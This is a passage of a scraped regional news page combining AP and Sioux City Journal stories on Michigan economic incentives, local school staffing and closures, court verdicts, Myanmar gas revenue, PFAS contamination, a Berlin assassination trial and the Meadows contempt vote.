exemption, based on the value of the equipment, would rise from $80,000 to $180,000 per parcel. We are in a period where there are increasingly large opportunities that will have generational and transformative impact. This allows us to be in better position to win those deals, Quentin Messer Jr., CEO of the Michigan Economic Development Corp. and president and chair of the Michigan Strategic Fund, said of the $1 billion in incentives. The Lansing City Council on Monday began approving local tax breaks for the proposed GM project, which could cost up to $2.5 billion and employ as many as 1,700 workers. Business leaders and lawmakers have said Michigan is in the mix for three other big deals that could be announced as soon as January. Michigan-based automakers qualify for generous job-retention tax credits under an old economic development program, and some businesses were awarded tax incentives through a newer initiative that expired in 2019. But supporters of the new incentives say the state cannot compete with what other states are offering, despite criticism that such corporate subsidies are unfair to other companies and could be better spent on government services. Talks about boosting incentives had been underway but intensified in recent months after Ford Motor Co. announced plans to build an electric vehicle assembly plant and three battery factories in Kentucky and Tennessee. The Ford announcement felt like a punch in the nose. ... Michiganders have always responded to every punch with a more forceful counterpunch," Messer told The Associated Press. Opponents in both parties, including Democratic Rep. Cynthia Johnson of Detroit, called the incentives corporate welfare and said there is no guarantee that any new jobs will last in the long term. Why do the wheels turn so fast for corporate America? When they come in here and they demand something, they get it like that, said Democratic Sen. Jeff Irwin of Ann Arbor. What about the people who are suffering in silence with mental illness? What about the people sleeping on the street? What about the small businesses who are trying to figure how (to) pay for health care? But Sen. Ken Horn, a Frankenmuth Republican, said residents are counting on Michigan to be prepared for the auto industry's shift from internal combustion engines to zero emission electric power. This is our opportunity to make a difference. This is money well spent, he said, saying the incentives will give Michigan a better than 50-50 shot at securing all four serious projects on the table, including another auto-related deal. The grants for pandemic-afflicted businesses to be funded with federal discretionary pandemic aid and the tax cut were welcomed by groups representing small businesses. Grants to qualifying businesses will be tied to what they paid in 2020 for property taxes or rent, unemployment insurance taxes and liquor fees, inspection fees and other fees. Critics questioned the tax reduction's effect on municipalities. By repealing this tax in perpetuity with no replacement to local communities beyond the first year, you are directly defunding the money that goes toward public safety," said Sen. Jeremy Moss, a Southfield Democrat. Republican Senate Majority Leader Mike Shirkey pledged to work to devise a permanent funding solution over the next year. Follow David Eggert at https://twitter.com/DavidEggert00 Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 SIOUX CITY -- To help stem a shortage of substitute teachers, the Sioux City Community School Board approved a plan Monday that increases pay for substitutes, offers retention bonuses and hires a permanent substitute for each school. The bumps in pay will raise Sioux City's compensation above the Dakota Valley and South Sioux City districts, Sioux City board president Dan Greenwell said. It also makes Sioux City's pay scale the same or or slightly more than substitutes in the Sergeant Bluff-Luton district. "Throwing money at a problem isn't always the answer," Greenwell said, "but it should be an incentive." Currently, Sioux City pays its substitutes on a three-tier pay scale. Effective Jan. 2, a substitute teacher who works between 1 and 20 days will receive $140 per day, an increase of $25. A tier-two substitute, who works between 21 to 50 days, will receive $180 per day, a $45 increase. A tier-three substitute, working more than 51 days, will receive $210 a day, a $30 increase. A retired Sioux City district teacher who continues to substitute will automatically start at the higher pay rate, regardless of the number of days they work. This category of substitutes includes Jan George, who voted for the plan along with the six other board members. George, who was elected to his first term last month, said Tuesday he is currently serving as a long-term sub in the Lawton-Bronson district. But he plans to start substituting in Sioux City after the first of the new year to fulfill his obligation to help the district. Under the plan, substitute teachers also would qualify for incentives, including a one-time, $100 bonus for a new substitutes after 10 consecutive substitute jobs. The plan also calls for the district to hire one permanent substitute for each of the district's 20 schools, beginning with the buildings with the lowest teacher-absence fill rate. Permanent substitutes would receive an annual salary of $37,201, plus an assortment of benefits available to regular teachers. To help with recruitment of substitutes, the district also would pay a $100 referral bonus to any district employees who makes a referral after the referred teacher subs for 10 consecutive days. The board also approved the hiring of a full-time human resources person focused on substitute teachers. "This person will be hired for a $45,000 annual salary, plus benefits," said Jen Gomez, the district's human resources director. Gomez added that the district could begin the process of getting the word out as soon as possible about the new pay rates and incentives for substitutes. That pleased Greenwell, who thought the increased compensation would help attract teachers graduating from college this month. The most controversial part of the substitute teacher plan was a recommendation that downtown administrators, building principals and assistant principals devote two full-days in the classroom per month; and consulting teachers spend eight full-day equivalents in classrooms. More than 30 teachers signed up to speak in opposition to that proposal at Monday night's board meeting. "By asking consulting teachers to devote so much of our time to substitute teach takes away from what we do best," Tina Brennan, a Perry Creek Elementary School consulting teacher, told the board. "We are at our best at consulting young teachers." The board ultimately decided to remove the language that called for consulting teachers to spend a specified number of days in the classrooms. "We are leaving it at the discretion of our building principals," Gausman said. "That was what we've been doing all along and it seems to be working." For months, the district has been wrestling with what to do about the growing shortage of substitutes, which Gausman has described as reaching a crisis level. Gausman pitched a plan to hire a national staffing firm to take over the recruitment and staffing of substitutes in the district. But the school board voted 4-3 last month to break off talks with Nashville, Tennessee-based ESS for at least 90 days. The majority of board members expressed concerns about entering into a contract with an outside firm without first attempting new and different solutions. During a normal year, Gausman said the district would be able to fill between 80 to 90 percent of teacher absences. More recently, administrators have only been able to fill 70 to 80 percent of the absences. In the pandemic year of 2020, that rate dropped to as low as 50 percent. To help close the gap, the district would need to increase its roster of substitutes by more than 100. Until that happens, the district will take an all-hands-on-deck philosophy. Indeed, Gausman filled in for a band class at West Middle School on Dec. 9. "I was a little rusty at first," Gausman, a former band educator, recalled. "Luckily, I had experience teaching band in the past." Gausman said more than 80 percent of the district personnel are already subbing for other classes. In other action Monday, the school board decided to continue to support Perry Creek, Nodland and Sunnyside Elementary Schools in their candidacy to become International Baccalaureate (IB) World Schools. George had previously voiced concerns about the benefit of the program. "I didn't have enough information before," he said. "After seeing the program in action at Perry Creek, I can see how students are benefiting form the curriculum." In order for IB World School to be certified, it needs the support of the entire school board. Since certification for all three schools will be coming up soon, Greenwell said opposition to the program won't be likely in future agendas. Love 0 Funny 1 Wow 0 Sad 1 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. LE MARS, Iowa -- Plymouth County authorities are seeking the public's help to find suspects who have damaged more than a dozen mailboxes this month in rural Plymouth County. Deputies are investigating 16 incidents believed to have occurred Dec. 3-5, the Plymouth County Sheriff's Office said in a news release. The vandalism occurred in the area of Lynx Avenue and 300th Street, approximately 10 miles south of Le Mars and six miles east of Hinton. Authorities are looking for five people in a four-door passenger car or smaller SUV/crossover-type vehicle. Anyone with information can call the sheriff's office at (712) 546-8191. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. OMAHA -- Kozee Decorah's family had worked hard, urging prosecutors to charge Jonathan Rooney with murder rather than manslaughter. They were thrilled when a superseding indictment upgraded Rooney's charge to second-degree murder. But at the conclusion of an eight-day trial Wednesday, they were back where they started. A federal court jury found Rooney not guilty of second-degree murder, but guilty of the lesser offense of voluntary manslaughter for the May 2020 death of Decorah, whose burned remains were found near a remote cabin on the Winnebago Indian Reservation near Winnebago, Nebraska. The verdict was devastating and heartbreaking for the family, said Stacey Schinko, one of Decorah's relatives. "Part of the reason manslaughter was so upsetting is it put some of the blame for Kozee's death on her," Schinko said. "It was really a slap in the face today that (jurors) couldn't see it the way we see it." Jurors, who deliberated for eight hours, also found Rooney guilty of obstruction of justice by destruction of evidence. The verdict means Rooney, 27, of Winnebago, will not face a potential lifetime prison sentence. The maximum sentence for manslaughter is 15 years, and obstruction is 20 years. Sentencing was set for March 11 in U.S. District Court in Omaha. "Right now, our biggest hope is he will get the maximum sentence," Schinko said. Decorah called Winnebago Police at about 7:50 p.m. on May 16, 2020, and told them them she, Rooney and their infant son had gotten stuck on a muddy road in a remote area. Officers found an abandoned GMC Yukon, but no trace of the three. Just before midnight, conservation officers assisting in the search noticed a fire, which led them to a cabin, where an outhouse was on fire. Rooney was found sleeping naked in the cabin with his 4-month-old son, one of three children he and Decorah had together. Rooney told officers he did not know where Decorah was, court documents said. During an interview, Rooney told officers the two had found the cabin and started a fire in the grill to dry his clothes. They began arguing when Decorah asked him if he had been drinking or using drugs. He said Decorah hit him with something, and he pushed her out of the cabin, shut the door and went to sleep. The next thing he was aware of, he said, the officers were waking him up. Officers observed a blood smear on Rooney's arm, scratches on his shoulder and an injury on his cheek. Officers found human remains and a burned cell phone in the fire. Dental records were used to determine the remains were Decorah's. An autopsy could not determine if there was trauma to Decorah's body before it was burned. Schinko said Rooney's mother has been awarded custody of Decorah's three children, and her family has visitation privileges. "Our mission is to make sure her children know her and how much she loved them," Schinko said. "We want to make sure she is not forgotten." Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SIOUXLAND -- Less than a week after letting out early for a snowstorm, schools in the tri-state area are having early dismissals of students in anticipation of severe afternoon weather that could bring winds as high as 60 mph. In a post on Facebook, the Sioux City Community School District, which is ending the day two hours early, said that officials don't normally alter the schedule because of high winds but they wanted to be cautious in this instance. "We would rather take a "safe than sorry" approach with regards to student and driver safety. Student and staff safety remains our top priority," the Facebook post said. On the Nebraska side, the South Sioux City Community School took to Facebook to say that it too would end the day at 1 p.m. because of the threat of high winds. "There will be no Beyond the Bell services, no afternoon activities or practices today. Please listen to local media outlets for more information on weather conditions and school closings," the post further explained. Schools for Akron Westfield, Maple Valley-Anthon Oto and Whiting also went with a 1 p.m. dismissal. Bishop Heelan Catholic Schools decided on a two-hour early dismissal today in all of its elementary schools and a 1:30 p.m. dismissal at the high school. Some schools in the area decided to dismiss even earlier than 1 p.m. The Hinton Community School District made the call to have students leave at 12:20 p.m. Lawton-Bronson and Sergeant Bluff-Luton schools went with 12:30 p.m. (though BASIC and Little Steps Daycare decided on 1:30 p.m.). The Dakota Valley School District similarly made the decision to end at 1:30 p.m. Jared McNett is an online editor and reporter for the Sioux City Journal. You can reach him at 712-293-4234 and follow him on Twitter @TwoHeadedBoy98. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SIOUX CITY Sioux City East High and Middle School were put on lockdown for a short period of time on Tuesday following a threat made on social media. West High School also received threats but wasn't put on lockdown. The threat to East High involved a person posting a picture of a gun, stating they were on their way to school, according to a Sioux City Police Department press release. The Sioux City Police Department found that a 14-year-old female had created the post with the intent to cause alarm but had no plan for carrying out the threat, according to a press release. "The juvenile had created a fake profile on Snapchat and made threats to use a weapon at the school," according to the release. The individual was taken to Woodbury County Juvenile Detention and charged with a class D felony for terrorism threats and harassment. Another threat was posted earlier in the day towards West High School. The Sioux City Police identified a 15-year-old male as responsible for the posts. The department referred the incident to the County Attorney's Office for charges, according to the release. A notification was sent to parents of students at each school, which urged them to not go to the school buildings. As of 1:38 p.m., the lockdown had ended. Students and staff are safe, and the lockout has been lifted at both schools, Director of Communications Leslie Heying said. No additional information is available at this time. Love 0 Funny 0 Wow 1 Sad 1 Angry 1 SPIRIT LAKE, Iowa -- In late-October, one-term state Sen. Zach Whiting, R-Spirit Lake, announced that he was resigning his seat in Iowa Senate District 1. Tuesday night, voters chose a successor for Whiting. Republican Dave Rowley, an insurance agent and musician from Spirit Lake, defeated Democrat Mark Lemke, a former national training manager for General Electric, by garnering 75% of the vote to Lemkes 24% (per the Iowa Secretary of States website). Rowley was selected at a special GOP nominating convention on Thursday, Nov. 11 to represent the party in the special election for Whiting's seat (per Dickinson County News Editor Seth Boyes). With the win, Rowley will serve the final year of Whiting's four-year term in Senate District 1, which includes the counties of Clay, Dickinson, Lyon, Osceola and Palo Alto. In 2018, Whiting won the general election for the seat with more than 98.2% of the vote. When asked by KTIV about what his top priority would be if elected to fill out Whiting's time, Rowley said: "My top priority is to find out where Zach was on his bills, and what is in action right now." In that same interview, Rowley also said that he wants to look at state income tax issues as well as declining communities. Republican Gov. Kim Reynolds set Tuesday, Dec. 14 as the date for the special election because, under state law, the governor "shall order, not later than five days from the date the vacancy exists, a special election, giving not less than forty days notice of such election." For the 2022 Iowa Senate election cycle, there will be shifts in districts including District 1. Lyon County shifts to District 2. A part of Clay County and Osceola County moves to District 3 while the other part of Clay County, as well as Dickinson County and Palo Alto County, shifts to District 5. A sliver of Woodbury County is now carved out to make District 1 where Rocky De Witt and Jackie Smith are running. Jared McNett is an online editor and reporter for the Sioux City Journal. You can reach him at 712-293-4234 and follow him on Twitter @TwoHeadedBoy98. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. NORTH SIOUX CITY -- North Sioux City has received $11 million in state assistance to develop hundreds of acres of land into housing and an industrial park. The Governor's Office of Economic Development announced Wednesday that it has approved a $10.5 million Revolving Economic Development & Initiative loan and a $500,000 Local Infrastructure Improvement Program grant to North Sioux City Economic Development Corporation. The funds will help the city buy land and assist with infrastructure construction for the proposed industrial park and housing development on the city's north side. "The North Sioux City Economic Development Corporation is grateful to Gov. Noem and the entire team at GOED for their support of North Sioux City's continued growth. The approved funding will allow North Sioux City to move forward with plans to establish the Graham Business park, as well as address the ongoing workforce housing shortage," North Sioux City Economic Development Corporation executive director Andrew Nilges said in a news release. The North Sioux City Council in September approved two agreements to buy approximately 439 acres of land from Graham Aviation, which operates the private Graham Airport, for more than $13 million. Approximately 125 acres are planned for housing, which will be developed separately from the industrial property, helping the city with plans to build much-needed affordable housing. The land purchase opens up new land for industrial and commercial development in the city, where the Flynn Business Park is near capacity. "We are pleased to partner with North Sioux City to make this new industrial park a reality," GOED commissioner Steve Westra said in a news release. "With the increased interest our state has seen over the last two years, it has become apparent that communities with developed land and infrastructure are better positioned to attract projects." Nilges said in an interview Wednesday that installation of infrastructure and utilities on the first 94-acre tract in the development could begin in the spring. Soil samples were taken earlier this fall, but other work had been on hold while the city awaited news on its application for state funding. "Now that funding's done, we can put our foot on the gas," Nilges said. Though no work has begun, potential developers have begun to show interest in the site. "I'm encouraged, given we haven't really marketed it, that there's some interest popping up," Nilges said. Housing construction could begin in 2023, if planning and funding falls into place, he said. The city also will seek U.S. Army Corps of Engineers permission to remove three miles of a flood-protection levee running through the property and rebuild it closer to the Big Sioux River. The sale of the land to the city will facilitate Graham Aviation owner Stephen F. Jones' plans to expand the airport and develop commercial and residential properties on airport-owned land. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. PLACERVILLE, Calif. (AP) A father and son charged with sparking a devastating Northern California wildfire that destroyed about 1,000 homes near Lake Tahoe earlier this year are out of jail after a judge vastly reduced their bail, largely rejecting prosecutors' arguments that the duo posed a flight risk. Travis Shane Smith, 32, had his $1 million bail reduced to $50,000 and his father David Scott Smith, 66, had his $1 million bail reduced to $25,000 on Monday after their attorneys argued the men had no criminal history and no reason to leave behind their families, The Sacramento Bee reported. The Smiths were arrested Dec. 8 and charged in El Dorado County with recklessly starting a fire and illegal possession of a silencer. Travis Smith is also charged with illegal conversion or manufacture of a machine gun. Travis Smith's attorney, Mark Reichel, told The Associated Press on Tuesday that prosecutors have not laid out their theory as to how the men started the Aug. 14 Caldor Fire, which destroyed about 1,000 homes and other buildings, injured five people and forced tens of thousands of others to flee their homes. Theyre very happy to be out, Reichel said. They werent very happy to be arrested. Prosecutor Nora Hall argued that potential prison sentences at least a dozen years for each man made them potential flight risks and that Shane Smiths social media posts indicated a lack of concern for proper firearms safety. But El Dorado Superior Court Judge Ralph Marks said a bail reduction was warranted because there was no evidence the men acted maliciously or with intent. The charges also did not indicate they posed a danger to the community, the judge said. Reichel and Linda Parisi, attorney for the elder Smith, said the men were in the area where the fire sparked and called 911 to report flames. The criminal complaints do not specify how the machine gun and silencer tie into the Caldor Fire, and the DAs office has not offered an explanation. It declined on Tuesday to release additional statements about the case. The fire crossed three Northern California counties, forcing tens of thousands of people to evacuate the resort town of South Lake Tahoe and surrounding areas before it was contained in October. The next scheduled court date for the Smiths is Feb. 1. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She worked for Total Energies, the French company that operates a gas field off Myanmars coast with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Yadana gas field. As military abuses such as the murder and detention of thousands grew, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman has since lost her job. And later, after protesting the military's takeover of her country, she was thrown into prison for three weeks. I feel very disappointed in Total because they are neglecting this country in which they invested, says the young woman, whose name is being withheld by The Associated Press to protect her from retaliation by the military. Total and energy giant Chevron, which also is a partner in Yadana, say they are trying to protect their employees in Myanmar, and also to keep crucial gas supplies flowing to the people of Myanmar and Thailand. In August, Myanmar activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, hundreds of human rights organizations in Myanmar joined their international colleagues in signing a letter asking Totals CEO to stop payments to military-controlled accounts. The AP also obtained a copy of a letter from workers at Yadana to their managers calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military and place the funds in a protected account. Activists are looking not to shut down the gas field, but to place revenues in an offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline earned around $400 million in revenues in 2017-2018. Yet neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. In response to questions from the AP, the U.S. State Department pointed to a list of other people and entities the U.S. has already sanctioned, including military officials and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. But a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Singapore's banks are accused by activists of holding assets on the military's behalf, although Singapore denied in February that they had significant funds from Myanmar companies and individuals." In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying issues of focus. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government says it is excluding sanctions on oil and gas because it wants to avoid adding to the burdens of Myanmar civilians, and to target individuals from the junta rather than a vital economic sector. France also wants to stay involved on the ground, which requires operational contacts with Myanmars administration, according to a senior official in the French presidents office. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. Total said in a statement that it is trying to keep its employees in Myanmar safe from reprisals such as forced labor. Total also argues that it has to pay taxes and respect its contract legally, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total cancelled exploration for new deposits in Myanmar after the military takeover. The facts are that, in order to close off this source of revenue, the gas production should be brought to a stop, the statement said. Any cut to such supply of gas...must be considered in light of the consequences it could have on everyday life of local citizens. But several workers in Myanmar interviewed by AP dismissed concerns about their welfare, arguing the entire country is already oppressed. And MOGE can be sanctioned without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. Activists say its unconscionable for any company to help fund a military that has engaged in mass torture and forcibly disappeared thousands. The military told the AP that state revenue is used for education, infrastructure and public service, and is also used proportionately for the rule of law and for defense. Putting restrictions on the current government is directly affecting the social and economic life of the citizens, the military said in a statement to the AP. Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok and correspondent Ben Fox in Washington contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 FAIRFIELD, Maine (AP) Chicken eggs from two homesteads in central Maine contain elevated levels of toxic industrial compounds that are associated with serious health conditions, the state's Center for Disease Control and Prevention has found. The Bangor Daily News reported the egg contamination on Tuesday, just three weeks after authorities said deer harvested by hunters in the same Fairfield area should not be consumed as food because of elevated levels of the compounds. Sometimes called forever chemicals" because they last so long in the environment, these per- and polyfluoroalkyl substances, or PFAS, are used in products like nonstick cookware, carpets, firefighting foam and fast-food wrappers. The eggs containing PFAS were from two homes with high PFAS levels in their water supply, said Andrew Smith, a state CDC toxicologist. PFAS appear to be making their way into the water, and the food supply, due to the spread of municipal and industrial sludge that contained the chemicals on several farm fields in the area. The CDC did two rounds of testing, first in late 2020, then this March after the chickens were no longer drinking the contaminated water. The amount of PFAS in the eggs had dropped significantly. However, the soil itself is apparently also a vector for the toxins to get into chickens' bodies, as PFAS levels went back up after chickens ranged freely. Smith said the CDC is working to determine how the chemicals get from soil and water into poultry and livestock. Last month's do not eat advisory was for deer that fed in Fairfield area and ingested the chemicals, bringing PFAS into their meat and organs. For copyright information, check with the distributor of this item, Bangor Daily News. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BERLIN (AP) Germany announced Wednesday it is expelling two Russian diplomats after a German court concluded that Moscow was behind the killing of a Chechen man in Berlin two years ago. Foreign Minister Annalena Baerbock called the state-ordered killing a grave breach of German law and the sovereignty of the Federal Republic of Germany. Russia's ambassador in Berlin was summoned to discuss the court's finding and informed of the diplomats' expulsion, she said. The 2019 brazen daylight killing of Zelimkhan Tornike Khangoshvili, a 40-year-old Georgian citizen of Chechen ethnicity, sparked outrage in Berlin and prompted the German government to expel two other Russian diplomats at the time a move Russia swiftly reciprocated. The two diplomats being expelled now are linked to Russian intelligence agencies, according to Associated Press sources. Judges at Berlins regional court on Wednesday convicted 56-year-old Vadim Krasikov of the killing, but said he had acted on the orders of Russian federal authorities, who provided him with a false identity, a fake passport and the resources to carry out the hit near Berlin's Kleiner Tiergarten park on Aug. 23, 2019. The central government of the Russian Federation was the author of this crime, presiding judge Olaf Arnoldi said, labeling the killing state terrorism. Baerbock said during a call Tuesday with her Russian counterpart, Sergey Lavrov, she had made clear that Germany wants an open and honest exchange with Russia, and that this should happen on the basis of international law and mutual respect. It is clear that acts such as the Tiergarten murder weigh heavily on this relationship, she said. The German government will do everything necessary to ensure that security in our country and the respect for our laws is ensured. After Wednesday's verdict, Russias ambassador in Berlin issued a statement rejecting allegations of Russian involvement in the killing. We consider the verdict an unobjective, politically motivated decision that seriously aggravates already complicated Russian-German relations, Ambassador Sergei Nechayev said. He called the verdict an unfriendly act that wont go unanswered." The absurd notion about Russias involvement in the wrongdoing during the entire course of the trial was being methodically imposed on the public ... but wasnt in the end proved with convincing evidence, Nechayev said. During an oral summary of the court's findings that lasted almost two hours, Arnoldi said he and four fellow judges had reviewed a wealth of evidence during the 14-month trial, including 47 witness testimonies and material provided by a dozen countries, along with very limited answers from the Russian Federation. The court found Krasikov guilty of murder and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. The judges said Krasikov bore particularly grave responsibility for the slaying, meaning he wont be entitled to the automatic parole after 15 years that is customary in Germany. Arnoldi said it was important to note the victims involvement in fighting against Russian forces in Chechnya from 2001 onward. In 2004, Khangoshvili led a group of fighters who attacked a police station in Russia, and civilians were killed along with officers. There is no doubt that Khangoshvili bears responsibility for peoples deaths, the judge said, adding later that Russian authorities had likely sought revenge and retribution for his actions. Asked about the case in December 2019, Russian President Vladimir Putin described the victim as a terrorist and murderer. Khangoshvilis family, which under German law was allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to send a message to its political enemies by killing him. Khangoshvili survived an earlier assassination attempt in Georgia before moving to Ukraine and then to Berlin in 2016, where he applied for asylum. German authorities denied Khangoshvilis asylum request, and an appeal was rejected in 2018 on the grounds that he didnt face political persecution in his home country. This later proved to be obviously wrong, Arnoldi said, adding there was no evidence that Khangoshvili was politically active in Germany. The German judges said that overwhelming evidence reviewed over dozens of hearings left no doubt that Krasikov had carried out the killing just a few hundred meters (yards) from the courthouse. Krasikov a twice-married father of three had no previous convictions, Arnoldi said, but official records showed he had been sought by Russian authorities over the killing of a businessman in Moscow in 2013. The case was dropped in 2015. Evidence reviewed by the court, including material unearthed by the investigative news site Bellingcat, showed that Krasikov had been employed by a Russian security agency and was likely asked to carry out the hit in 2019, Arnoldi said. A month before the killing, Russian authorities issued Krasikov a fake passport under the alias Vadim Sokolov that he used to travel to Berlin, where he shot the victim repeatedly from behind with a silencer-fitted handgun. Witnesses saw the suspect throw a bike, a gun and a long, dark wig into the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter. The court concluded that the killing wouldnt have been possible without unidentified helpers in Berlin, that Moscow had a motive for targeting the victim, and that Russian law permits the killing of alleged terrorists, including abroad, if authorized by the president. If a business card belonging to a member of the Russian federal government had been found at the scene of the crime, it couldnt have been more damning, Arnoldi said. The ruling, which can be appealed, marks a new low point in Germany-Russia relations that are already fraught over Ukraine, Russian cyberattacks and Berlin's support for Kremlin critic Alexei Navalny. We are seeing that Russia views Germany as an adversary and doesn't seem interested in engagement, said Stefan Meister, a Russia expert at the German Council on Foreign Relations think tank in Berlin. German Chancellor Olaf Scholz's new government is still trying to find its foreign policy footing with Moscow, but the verdict and the growing tensions over Ukraine could increase domestic pressure for Germany to reconsider its support for the Nord Stream 2 pipeline that is to bring gas from Russia straight to Germany, bypassing Ukraine, said Meister. Daria Litvinova in Moscow contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. The two GOP votes Reps. Liz Cheney of Wyoming and Adam Kinzinger of Illinois, who serve on the committee in favor of the resolution came after nine Republicans voted to hold former Trump ally Steve Bannon in contempt in October. While Bannons case was more clear-cut -- he never engaged with the committee at all -- Meadows had turned over documents and negotiated for two months with the panel about an interview. Meadows also has closer relationships within the Republican caucus, having just left Congress last year. Meadows was also Trumps top aide in the White House, giving him more plausible grounds to claim executive privilege. Bannon had not worked in the White House since 2017. The Justice Department will also be weighing those factors as prosecutors decide whether to move forward with the case. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it evil and un-American. Rep. Jim Jordan of Ohio praised Meadows: Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison. Trump also defended Meadows in an interview, saying: I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Terwilliger said, The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced. Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. Meanwhile, Senate Republican leader Mitch McConnell told reporters: I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved. He added that he was not in contact with Meadows on the day of the attack. Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand. Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: Im pushing it hard. I agree. Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Cheney, the panels vice chairwoman, said 